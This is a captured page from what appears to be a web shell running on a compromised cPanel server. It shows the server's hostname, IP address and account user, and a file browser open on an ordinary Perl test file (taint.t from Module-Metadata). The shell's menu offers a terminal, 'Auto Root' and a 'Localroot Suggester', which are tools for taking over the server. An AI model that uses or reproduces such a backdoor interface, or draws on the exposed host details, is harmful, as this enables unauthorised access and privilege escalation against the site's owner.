Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
cpan /
Module-Metadata /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
lib
[ DIR ]
drwxr-xr-x
2015-02-14 16:55
contains_pod.t
960
B
-r--r--r--
2015-01-11 15:07
encoding.t
774
B
-r--r--r--
2014-12-27 11:49
endpod.t
338
B
-r--r--r--
2014-12-27 11:49
metadata.t
18.68
KB
-r--r--r--
2015-01-11 15:08
taint.t
747
B
-r--r--r--
2014-12-27 11:49
version.t
300
B
-r--r--r--
2015-01-11 15:09
Save
Rename
#!/usr/bin/perl -T use strict; use warnings; use 5.008000; # for ${^TAINT} use Test::More tests => 2; use Module::Metadata; use Carp 'croak'; # stolen liberally from Class-Tiny/t/lib/TestUtils.pm - thanks xdg! sub exception(&) { my $code = shift; my $success = eval { $code->(); 1 }; my $err = $@; return undef if $success; # original returned '' croak "Execution died, but the error was lost" unless $@; return $@; } ok(${^TAINT}, 'taint flag is set'); # without the fix, we get: # Insecure dependency in eval while running with -T switch at lib/Module/Metadata.pm line 668, <GEN0> line 15. is( exception { Module::Metadata->new_from_module( "Module::Metadata" )->version }, undef, 'no exception', );